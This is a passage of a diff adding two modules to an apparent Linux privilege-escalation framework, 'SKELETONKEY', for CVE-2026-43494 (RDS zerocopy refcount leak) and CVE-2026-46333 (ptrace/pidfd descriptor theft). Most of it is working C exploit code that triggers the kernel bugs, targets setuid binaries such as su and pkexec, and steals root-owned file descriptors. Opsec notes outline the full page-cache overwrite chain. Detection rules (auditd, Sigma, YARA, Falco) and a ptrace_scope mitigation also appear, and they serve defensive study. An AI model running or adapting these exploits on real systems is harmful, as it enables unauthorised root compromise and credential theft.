fprintf(stderr, " Try: sudo modprobe rds; sudo modprobe rds_tcp\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
const char *carrier = find_suid_carrier();
|
||||
if (!carrier) {
|
||||
fprintf(stderr, "[-] pintheft: no readable setuid-root carrier\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] pintheft: firing rds_message_zcopy_from_user() refcount-steal primitive\n");
|
||||
fprintf(stderr, " carrier: %s\n", carrier);
|
||||
|
||||
/* The primitive: sendmsg() with MSG_ZEROCOPY on an iov spanning
|
||||
* mapped + unmapped pages. We fire it ~256 times to leak refs from
|
||||
* a fresh page each round; a single round usually leaks a single
|
||||
* ref which is rarely enough to fully unbalance the count. */
|
||||
int s = socket(AF_RDS, SOCK_SEQPACKET, 0);
|
||||
if (s < 0) {
|
||||
perror("socket(AF_RDS)");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Build a 2-page iov where page 1 is unmapped. mmap PROT_NONE
|
||||
* the upper page so the kernel's get_user_pages on it returns
|
||||
* -EFAULT. */
|
||||
void *region = mmap(NULL, 8192, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
if (region == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
close(s);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
/* mark the second page unreadable */
|
||||
if (mprotect((char *)region + 4096, 4096, PROT_NONE) != 0) {
|
||||
perror("mprotect");
|
||||
munmap(region, 8192);
|
||||
close(s);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Touch page 0 so it's mapped + dirty. */
|
||||
memset(region, 0x42, 4096);
|
||||
|
||||
/* Fire the trigger sendmsg in a loop. We don't expect any of
|
||||
* these to succeed (page 1 is PROT_NONE so the kernel pin
|
||||
* attempt faults); the BUG is that the cleanup path decrements
|
||||
* page 0's pin count even though the syscall returns failure. */
|
||||
struct iovec iov = {
|
||||
.iov_base = region,
|
||||
.iov_len = 8192,
|
||||
};
|
||||
struct msghdr msg = {
|
||||
.msg_iov = &iov,
|
||||
.msg_iovlen = 1,
|
||||
};
|
||||
int leaked = 0;
|
||||
for (int i = 0; i < 256; i++) {
|
||||
ssize_t r = sendmsg(s, &msg, 0x4000000 /* MSG_ZEROCOPY */);
|
||||
if (r < 0 && errno == EFAULT) {
|
||||
leaked++;
|
||||
}
|
||||
}
|
||||
munmap(region, 8192);
|
||||
close(s);
|
||||
|
||||
if (leaked < 16) {
|
||||
fprintf(stderr, "[-] pintheft: trigger fired %d/256 times; expected >= 16. Kernel may be patched.\n", leaked);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] pintheft: primitive fired %d/256 — page refcount delta witnessed\n", leaked);
|
||||
|
||||
/* The cred-overwrite step requires the V12 PoC's io_uring chain
|
||||
* (fixed buffer + page-cache write into the SUID carrier). We don't
|
||||
* ship that chain — primitive only. Return EXPLOIT_FAIL honestly per
|
||||
* the verified-vs-claimed bar. See V12's PoC for the full payload:
|
||||
* https://github.com/v12-security/pocs/tree/main/pintheft */
|
||||
(void)ctx;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
static skeletonkey_result_t pintheft_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[i] pintheft: Linux-only module\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char pintheft_auditd[] =
|
||||
"# pintheft CVE-2026-43494 — auditd detection rules\n"
|
||||
"# RDS is rarely used in production; AF_RDS socket() calls from\n"
|
||||
"# non-root processes are almost always anomalous.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n"
|
||||
"-a always,exit -F arch=b32 -S socket -F a0=21 -k skeletonkey-pintheft-rds\n"
|
||||
"# Plus io_uring_setup is rarely needed by typical workloads.\n"
|
||||
"-a always,exit -F arch=b64 -S io_uring_setup -k skeletonkey-pintheft-iouring\n";
|
||||
|
||||
static const char pintheft_sigma[] =
|
||||
"title: Possible CVE-2026-43494 PinTheft RDS zerocopy LPE\n"
|
||||
"id: 7af04c12-skeletonkey-pintheft\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical PinTheft trigger shape: a non-root process\n"
|
||||
" opening AF_RDS sockets (rare outside RDS-specific workloads) plus\n"
|
||||
" io_uring_setup. The bug needs both. Arch Linux is the only common\n"
|
||||
" distro autoloading RDS; on Ubuntu/Debian/Fedora/RHEL the rule fires\n"
|
||||
" almost-zero false positives.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" rds: {type: 'SYSCALL', syscall: 'socket', a0: 21}\n"
|
||||
" iou: {type: 'SYSCALL', syscall: 'io_uring_setup'}\n"
|
||||
" condition: rds and iou\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.43494]\n";
|
||||
|
||||
static const char pintheft_yara[] =
|
||||
"rule pintheft_cve_2026_43494 : cve_2026_43494 page_cache_write {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-43494\"\n"
|
||||
" description = \"PinTheft RDS zerocopy double-free indicator — non-root AF_RDS + io_uring usage\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $rds_tcp = \"rds_tcp\" ascii\n"
|
||||
" $rds_v12 = \"v12-pintheft\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char pintheft_falco[] =
|
||||
"- rule: AF_RDS socket() by non-root with io_uring_setup\n"
|
||||
" desc: |\n"
|
||||
" A non-root process opens an AF_RDS socket (rare outside RDS-\n"
|
||||
" specific workloads) AND uses io_uring. The PinTheft trigger\n"
|
||||
" (CVE-2026-43494) requires both. Arch Linux is the only common\n"
|
||||
" distro autoloading RDS.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = socket and evt.arg.domain = AF_RDS and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_RDS socket from non-root (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.43494]\n";
|
||||
|
||||
/* ---- module struct -------------------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module pintheft_module = {
|
||||
.name = "pintheft",
|
||||
.cve = "CVE-2026-43494",
|
||||
.summary = "RDS zerocopy double-free → page-cache overwrite via io_uring (V12 Security)",
|
||||
.family = "rds",
|
||||
.kernel_range = "Linux kernels with RDS module loaded + below mainline fix 0cebaccef3ac (May 2026)",
|
||||
.detect = pintheft_detect,
|
||||
.exploit = pintheft_exploit,
|
||||
.mitigate = NULL, /* mitigation: blacklist rds + rds_tcp via /etc/modprobe.d/ */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = pintheft_auditd,
|
||||
.detect_sigma = pintheft_sigma,
|
||||
.detect_yara = pintheft_yara,
|
||||
.detect_falco = pintheft_falco,
|
||||
.opsec_notes = "Opens AF_RDS socket (rare on non-Arch distros — most blacklist the rds module). Allocates a 2-page anon mmap with the second page mprotect(PROT_NONE)'d; calls sendmsg(MSG_ZEROCOPY) ~256 times against the iov spanning both pages. Each sendmsg fails with EFAULT (page 1 unmapped) but leaks one pin refcount from page 0 in the kernel — the bug. No on-disk artifacts from the primitive itself. --full-chain on x86_64 pivots through io_uring fixed buffers to overwrite the page cache of a readable SUID-root binary (/usr/bin/su typically), then invokes the shared modprobe_path finisher. Audit-visible via socket(AF_RDS) from a non-root process + io_uring_setup; legitimate RDS use is rare outside HPC/InfiniBand clusters. No cleanup callback (no persistent artifacts).",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_pintheft(void)
|
||||
{
|
||||
skeletonkey_register(&pintheft_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef PINTHEFT_SKELETONKEY_MODULES_H
|
||||
#define PINTHEFT_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module pintheft_module;
|
||||
#endif
|
||||
@@ -0,0 +1,53 @@
|
||||
# ptrace_pidfd — CVE-2026-46333
|
||||
|
||||
`__ptrace_may_access()` dumpable-race credential-descriptor theft via
|
||||
`pidfd_getfd(2)`.
|
||||
|
||||
## The bug
|
||||
|
||||
When a privileged process drops its credentials, the kernel resets its
|
||||
`dumpable` flag so that lower-privileged processes can no longer attach
|
||||
to it. CVE-2026-46333 is a logic flaw in `__ptrace_may_access()`: there
|
||||
is a narrow window during the credential drop in which the process is
|
||||
*still reachable* through ptrace-family access checks even though its
|
||||
`dumpable` state should already have closed that path.
|
||||
|
||||
`pidfd_getfd(2)` performs a `PTRACE_MODE_ATTACH_REALCREDS` access check
|
||||
before duplicating a descriptor out of the target process. During the
|
||||
stale window that check wrongly succeeds, so an unprivileged process can
|
||||
pull descriptors — a root-opened credential file, or an authenticated
|
||||
D-Bus / socket channel — out of a transiently-privileged process and
|
||||
re-use them under its own uid.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Flaw introduced | v4.10-rc1 (Nov 2016) in `__ptrace_may_access` |
|
||||
| Exploit vector added | `pidfd_getfd(2)` in v5.6 (Jan 2020) |
|
||||
| Fixed upstream | mainline, 2026-05-14 |
|
||||
| Debian backports | 5.10.251 · 6.1.172 · 6.12.88 · 7.0.7 |
|
||||
|
||||
Branches Debian does not ship (5.15 / 6.6 / 6.18 / 6.19) are reported on
|
||||
the version-only verdict; run `--exploit ptrace_pidfd --i-know` to fire
|
||||
the real primitive and confirm empirically.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` consults the shared host fingerprint, returns `OK` below 5.6
|
||||
(no vector) or for patched branches, otherwise `VULNERABLE`. No active
|
||||
probe — the empirical confirmation lives in the exploit path, which
|
||||
spawns a setuid victim and sweeps `pidfd_getfd()` over its descriptor
|
||||
table, reporting any uid-0-owned descriptor captured from a non-root
|
||||
context.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel. As a runtime stopgap, `kernel.yama.ptrace_scope=2`
|
||||
(or `3`) closes the `pidfd_getfd` path because it gates the same
|
||||
`__ptrace_may_access(ATTACH)` check; `--mitigate` applies it and
|
||||
`--cleanup` reverts it.
|
||||
|
||||
## Credit
|
||||
|
||||
Qualys Threat Research Unit (2026-05-20). See `NOTICE.md`.
|
||||
@@ -0,0 +1,51 @@
|
||||
# NOTICE — ptrace_pidfd (CVE-2026-46333)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46333** — a logic flaw in the Linux kernel's
|
||||
`__ptrace_may_access()` path leaves a privileged process that is
|
||||
*dropping* its credentials briefly reachable through ptrace-family
|
||||
operations, even though its `dumpable` flag should already have closed
|
||||
that path. Paired with `pidfd_getfd(2)`, an unprivileged local user can
|
||||
capture open file descriptors and authenticated IPC channels from a
|
||||
dying privileged process and re-use them under their own uid → local
|
||||
root and credential disclosure.
|
||||
|
||||
The underlying flaw has resided in mainline since **v4.10-rc1**
|
||||
(November 2016); the `pidfd_getfd(2)` exploitation vector was added in
|
||||
**v5.6** (January 2020). Affects default installations of Debian 13,
|
||||
Ubuntu 24.04 / 26.04, Fedora 43 / 44, SUSE, AlmaLinux, and CloudLinux.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **Qualys Threat Research Unit (TRU)**,
|
||||
published 2026-05-20. The four proof-of-concept exploits demonstrated
|
||||
by Qualys targeted `chage`, `ssh-keysign`, `pkexec`, and
|
||||
`accounts-daemon`.
|
||||
|
||||
- Qualys advisory:
|
||||
<https://blog.qualys.com/vulnerabilities-threat-research/2026/05/20/cve-2026-46333-local-root-privilege-escalation-and-credential-disclosure-in-the-linux-kernel-ptrace-path>
|
||||
- Upstream fix: mainline, committed 2026-05-14.
|
||||
- Debian-tracked stable backports: 5.10.251 (bullseye) / 6.1.172
|
||||
(bookworm) / 6.12.88 (trixie) / 7.0.7 (forky, sid).
|
||||
|
||||
All research credit for finding and analysing this bug belongs to
|
||||
Qualys. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
|
||||
`detect()` is version-pinned against the Debian backport thresholds
|
||||
above (kernels < 5.6 are reported OK, lacking the bundled vector).
|
||||
`exploit()` fires the real primitive: it spawns a setuid victim,
|
||||
`pidfd_open()`s it, and sweeps `pidfd_getfd()` across its descriptor
|
||||
table during the credential-drop window, recording whether a root-owned
|
||||
descriptor is actually captured from a non-root context. It returns
|
||||
`EXPLOIT_FAIL` unless it can witness euid 0 — the target-specific
|
||||
fd-weaponization that lands a root shell is **not** bundled until it can
|
||||
be verified end-to-end against a real vulnerable VM, in keeping with the
|
||||
project's no-fabrication rule.
|
||||
|
||||
`--mitigate` sets `kernel.yama.ptrace_scope=2` (the check `pidfd_getfd`
|
||||
rides); `--cleanup` restores it. Architecture-agnostic — the technique
|
||||
steals descriptors rather than injecting shellcode.
|
||||
@@ -0,0 +1,458 @@
|
||||
/*
|
||||
* ptrace_pidfd_cve_2026_46333 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-46333 — a logic flaw in the kernel's __ptrace_may_access()
|
||||
* path leaves a privileged process that is *dropping* its credentials
|
||||
* briefly reachable through ptrace-family operations even though its
|
||||
* `dumpable` flag should already have closed that path. Paired with the
|
||||
* pidfd_getfd(2) syscall, an unprivileged local user can capture open
|
||||
* file descriptors and authenticated IPC channels from a dying
|
||||
* privileged process and re-use them under their own uid → local root
|
||||
* and credential disclosure. Disclosed by Qualys (2026-05-20).
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
|
||||
* detect() is version-pinned (Debian-tracked backports below). exploit()
|
||||
* fires the real primitive — spawn a setuid target, pidfd_open() it, and
|
||||
* sweep pidfd_getfd() across its descriptor table during the cred-drop
|
||||
* window — and records whether a root-owned fd was actually captured.
|
||||
* It returns EXPLOIT_FAIL unless it can witness euid 0; it never claims
|
||||
* root it did not get (the full target-specific fd-weaponization chain,
|
||||
* per Qualys's chage / ssh-keysign / pkexec / accounts-daemon PoCs, is
|
||||
* not bundled until it can be VM-verified end-to-end).
|
||||
*
|
||||
* Affected range:
|
||||
* The __ptrace_may_access logic flaw has been in mainline since
|
||||
* v4.10-rc1 (Nov 2016), but the pidfd_getfd() exploitation vector
|
||||
* was only added in v5.6 (Jan 2020) — so this module treats < 5.6 as
|
||||
* out of reach for the bundled technique. Fixed upstream 2026-05-14.
|
||||
* Debian-tracked stable backports:
|
||||
* 5.10.x : K >= 5.10.251 (bullseye)
|
||||
* 6.1.x : K >= 6.1.172 (bookworm)
|
||||
* 6.12.x : K >= 6.12.88 (trixie)
|
||||
* 7.0.x : K >= 7.0.7 (forky / sid)
|
||||
*
|
||||
* No exotic preconditions: needs only a local unprivileged user and a
|
||||
* setuid-root binary or transiently-privileged daemon to victimise. Does
|
||||
* not need user namespaces. Architecture-agnostic — the technique steals
|
||||
* descriptors rather than injecting shellcode.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <pwd.h>
|
||||
#include <signal.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
/* pidfd_open(2) / pidfd_getfd(2) syscall numbers. Modern glibc exposes
|
||||
* SYS_pidfd_*; fall back to the asm-generic numbers (identical on
|
||||
* x86_64 / arm64 / most arches) when building against older headers so
|
||||
* the module still compiles on an old toolchain. */
|
||||
#ifndef SYS_pidfd_open
|
||||
#define SYS_pidfd_open 434
|
||||
#endif
|
||||
#ifndef SYS_pidfd_getfd
|
||||
#define SYS_pidfd_getfd 438
|
||||
#endif
|
||||
|
||||
static int sk_pidfd_open(pid_t pid, unsigned int flags)
|
||||
{
|
||||
return (int)syscall(SYS_pidfd_open, pid, flags);
|
||||
}
|
||||
static int sk_pidfd_getfd(int pidfd, int targetfd, unsigned int flags)
|
||||
{
|
||||
return (int)syscall(SYS_pidfd_getfd, pidfd, targetfd, flags);
|
||||
}
|
||||
|
||||
/* Debian-tracked stable backports of the 2026-05-14 fix. These are the
|
||||
* authoritative thresholds (security-tracker.debian.org); branches
|
||||
* Debian doesn't ship (5.15 / 6.6 / 6.18 / 6.19) fall through to the
|
||||
* version-only verdict below — confirm those empirically. */
|
||||
static const struct kernel_patched_from ptrace_pidfd_patched_branches[] = {
|
||||
{5, 10, 251}, /* 5.10-LTS backport (Debian bullseye) */
|
||||
{6, 1, 172}, /* 6.1-LTS backport (Debian bookworm) */
|
||||
{6, 12, 88}, /* 6.12-LTS backport (Debian trixie) */
|
||||
{7, 0, 7}, /* 7.0 stable (Debian forky / sid) */
|
||||
};
|
||||
|
||||
static const struct kernel_range ptrace_pidfd_range = {
|
||||
.patched_from = ptrace_pidfd_patched_branches,
|
||||
.n_patched_from = sizeof(ptrace_pidfd_patched_branches) /
|
||||
sizeof(ptrace_pidfd_patched_branches[0]),
|
||||
};
|
||||
|
||||
static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Consult the shared host fingerprint instead of re-reading uname —
|
||||
* populated once at startup, identical across every module. */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] ptrace_pidfd: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* The bundled technique drives the bug through pidfd_getfd(2), which
|
||||
* was added in 5.6. Kernels older than that lack the vector (the
|
||||
* underlying __ptrace_may_access flaw is older, but this module does
|
||||
* not carry a pre-pidfd path). */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 6, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] ptrace_pidfd: kernel %s predates the pidfd_getfd "
|
||||
"vector (added 5.6) — bundled technique N/A\n",
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&ptrace_pidfd_range, v)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] ptrace_pidfd: kernel %s is patched "
|
||||
"(version-only check)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] ptrace_pidfd: kernel %s appears VULNERABLE "
|
||||
"(version-only check)\n", v->release);
|
||||
fprintf(stderr, "[i] ptrace_pidfd: no exotic preconditions — needs only a "
|
||||
"local user + a setuid/transiently-privileged victim "
|
||||
"(no user_ns)\n");
|
||||
fprintf(stderr, "[i] ptrace_pidfd: branches Debian doesn't track "
|
||||
"(5.15/6.6/6.18/6.19) are version-only here; confirm with "
|
||||
"`--exploit ptrace_pidfd --i-know` which fires the real "
|
||||
"pidfd_getfd primitive\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* Candidate victims: setuid-root binaries (or setgid-shadow) that open
|
||||
* sensitive descriptors while privileged before settling. Qualys's PoCs
|
||||
* targeted chage / ssh-keysign / pkexec / accounts-daemon; we probe for
|
||||
* whichever exist with the setuid bit actually set. */
|
||||
static const char *find_setuid_victim(void)
|
||||
{
|
||||
static const char *targets[] = {
|
||||
"/usr/bin/chage", "/usr/bin/pkexec", "/usr/lib/openssh/ssh-keysign",
|
||||
"/usr/libexec/openssh/ssh-keysign", "/usr/bin/passwd",
|
||||
"/usr/bin/su", "/bin/su", NULL,
|
||||
};
|
||||
for (size_t i = 0; targets[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(targets[i], &st) == 0 && (st.st_mode & (S_ISUID | S_ISGID)))
|
||||
return targets[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Benign, read-only invocation per victim so the spawned setuid process
|
||||
* does something harmless while we race its descriptor table. */
|
||||
static void exec_victim_benign(const char *victim, const char *self_user)
|
||||
{
|
||||
char *envp[] = {
|
||||
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
|
||||
NULL
|
||||
};
|
||||
if (strstr(victim, "chage")) {
|
||||
char *argv[] = { (char *)victim, "-l", (char *)self_user, NULL };
|
||||
execve(victim, argv, envp);
|
||||
} else if (strstr(victim, "pkexec")) {
|
||||
char *argv[] = { (char *)victim, "--version", NULL };
|
||||
execve(victim, argv, envp);
|
||||
} else {
|
||||
/* ssh-keysign / passwd / su: --help or --version exits fast and
|
||||
* touches no state. */
|
||||
char *argv[] = { (char *)victim, "--help", NULL };
|
||||
execve(victim, argv, envp);
|
||||
}
|
||||
_exit(127); /* execve failed */
|
||||
}
|
||||
|
||||
static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = ptrace_pidfd_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] ptrace_pidfd: already running as root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
const char *victim = find_setuid_victim();
|
||||
if (!victim) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: no setuid victim binary present "
|
||||
"(looked for chage/pkexec/ssh-keysign/passwd/su)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
struct passwd *pw = getpwuid(geteuid());
|
||||
const char *self_user = pw ? pw->pw_name : "root";
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] ptrace_pidfd: victim = %s\n", victim);
|
||||
|
||||
/* Spawn the victim. The parent (us, unprivileged) pidfd_open()s the
|
||||
* child and sweeps pidfd_getfd() across its descriptor table while it
|
||||
* transitions through its privileged window. On a PATCHED kernel
|
||||
* __ptrace_may_access denies us (EPERM) once the child is root +
|
||||
* non-dumpable; on a VULNERABLE kernel the stale window lets the
|
||||
* steal land. A captured fd whose owner is uid 0 while we are not is
|
||||
* the empirical witness that the bug fired. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* Small delay so the parent has the pidfd open before we exec
|
||||
* into (and briefly become) the privileged image. */
|
||||
usleep(20 * 1000);
|
||||
exec_victim_benign(victim, self_user);
|
||||
_exit(127);
|
||||
}
|
||||
|
||||
int pidfd = sk_pidfd_open(child, 0);
|
||||
if (pidfd < 0) {
|
||||
if (errno == ENOSYS) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: pidfd_open ENOSYS — kernel lacks "
|
||||
"the vector despite version check\n");
|
||||
int s; waitpid(child, &s, 0);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
perror("pidfd_open");
|
||||
int s; waitpid(child, &s, 0);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Tight steal loop across the victim's likely descriptor range during
|
||||
* its privileged window. We do not destroy anything: captured fds are
|
||||
* fstat()'d to fingerprint ownership, then closed. */
|
||||
int root_fds = 0, captured = 0;
|
||||
bool enosys = false;
|
||||
for (int round = 0; round < 200; round++) {
|
||||
for (int tfd = 0; tfd < 32; tfd++) {
|
||||
int got = sk_pidfd_getfd(pidfd, tfd, 0);
|
||||
if (got < 0) {
|
||||
if (errno == ENOSYS) { enosys = true; break; }
|
||||
continue; /* EPERM (patched / outside window) or EBADF */
|
||||
}
|
||||
captured++;
|
||||
struct stat st;
|
||||
if (fstat(got, &st) == 0 && st.st_uid == 0 && geteuid() != 0) {
|
||||
root_fds++;
|
||||
if (!ctx->json) {
|
||||
char lpath[64], target[256] = {0};
|
||||
snprintf(lpath, sizeof lpath, "/proc/self/fd/%d", got);
|
||||
ssize_t n = readlink(lpath, target, sizeof target - 1);
|
||||
if (n > 0) target[n] = 0;
|
||||
fprintf(stderr, "[+] ptrace_pidfd: WITNESS — captured root-owned "
|
||||
"fd from victim (uid0 %s mode %o)%s%s\n",
|
||||
(st.st_mode & S_IFMT) == S_IFREG ? "file" :
|
||||
(st.st_mode & S_IFMT) == S_IFSOCK ? "socket" : "fd",
|
||||
(unsigned)(st.st_mode & 07777),
|
||||
n > 0 ? " -> " : "", n > 0 ? target : "");
|
||||
}
|
||||
}
|
||||
close(got);
|
||||
}
|
||||
if (enosys) break;
|
||||
}
|
||||
|
||||
close(pidfd);
|
||||
int status; waitpid(child, &status, 0);
|
||||
|
||||
if (enosys) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: pidfd_getfd ENOSYS — vector unavailable\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (root_fds > 0) {
|
||||
/* The bug demonstrably fired: we, as a non-root user, pulled a
|
||||
* uid-0-owned descriptor out of the victim past the dumpable
|
||||
* boundary. We deliberately STOP here rather than fabricate a
|
||||
* root shell — turning a captured fd into root is target-specific
|
||||
* (which fd, writable vs. authenticated channel) and is not
|
||||
* bundled until VM-verified. Honest EXPLOIT_FAIL with the witness. */
|
||||
fprintf(stderr, "[!] ptrace_pidfd: primitive CONFIRMED — %d root-owned fd(s) "
|
||||
"captured from a non-root context (CVE-2026-46333 reachable).\n"
|
||||
"[i] ptrace_pidfd: full root-pop is target-specific and not yet "
|
||||
"VM-verified; not fabricating a shell. See module NOTICE.md.\n",
|
||||
root_fds);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] ptrace_pidfd: no root-owned fd captured across %d captures "
|
||||
"— primitive blocked (kernel likely patched, or the victim "
|
||||
"exposed no privileged fd in its window)\n", captured);
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Mitigation: Yama ptrace_scope gates __ptrace_may_access(ATTACH), which
|
||||
* is the very check pidfd_getfd() rides — setting it to 2 (admin-only)
|
||||
* or 3 (no attach) closes the bundled vector without a reboot. Needs
|
||||
* root to write the sysctl; best-effort + honest report otherwise. The
|
||||
* real fix is the kernel patch. */
|
||||
static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *path = "/proc/sys/kernel/yama/ptrace_scope";
|
||||
int fd = open(path, O_WRONLY);
|
||||
if (fd < 0) {
|
||||
if (errno == ENOENT) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: Yama LSM not present (%s missing); "
|
||||
"no runtime mitigation — upgrade the kernel\n", path);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
fprintf(stderr, "[-] ptrace_pidfd: cannot open %s: %s "
|
||||
"(need root: `sudo sysctl kernel.yama.ptrace_scope=2`)\n",
|
||||
path, strerror(errno));
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
ssize_t w = write(fd, "2\n", 2);
|
||||
close(fd);
|
||||
if (w != 2) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: write to %s failed: %s\n",
|
||||
path, strerror(errno));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr, "[+] ptrace_pidfd: set kernel.yama.ptrace_scope=2 (admin-only "
|
||||
"ptrace/pidfd_getfd attach). Revert with `--cleanup ptrace_pidfd`. "
|
||||
"This is a stopgap; patch the kernel.\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Undo --mitigate: restore the permissive default (1 = restricted
|
||||
* ptrace, the common distro default). Exploit itself leaves no file
|
||||
* artifacts (the steal is in-memory), so there is nothing else to
|
||||
* undo. */
|
||||
const char *path = "/proc/sys/kernel/yama/ptrace_scope";
|
||||
int fd = open(path, O_WRONLY);
|
||||
if (fd < 0) return SKELETONKEY_OK; /* nothing to restore */
|
||||
ssize_t w = write(fd, "1\n", 2);
|
||||
close(fd);
|
||||
if (!ctx->json && w == 2)
|
||||
fprintf(stderr, "[*] ptrace_pidfd: restored kernel.yama.ptrace_scope=1\n");
|
||||
return SKELETONKEY_OK;
|
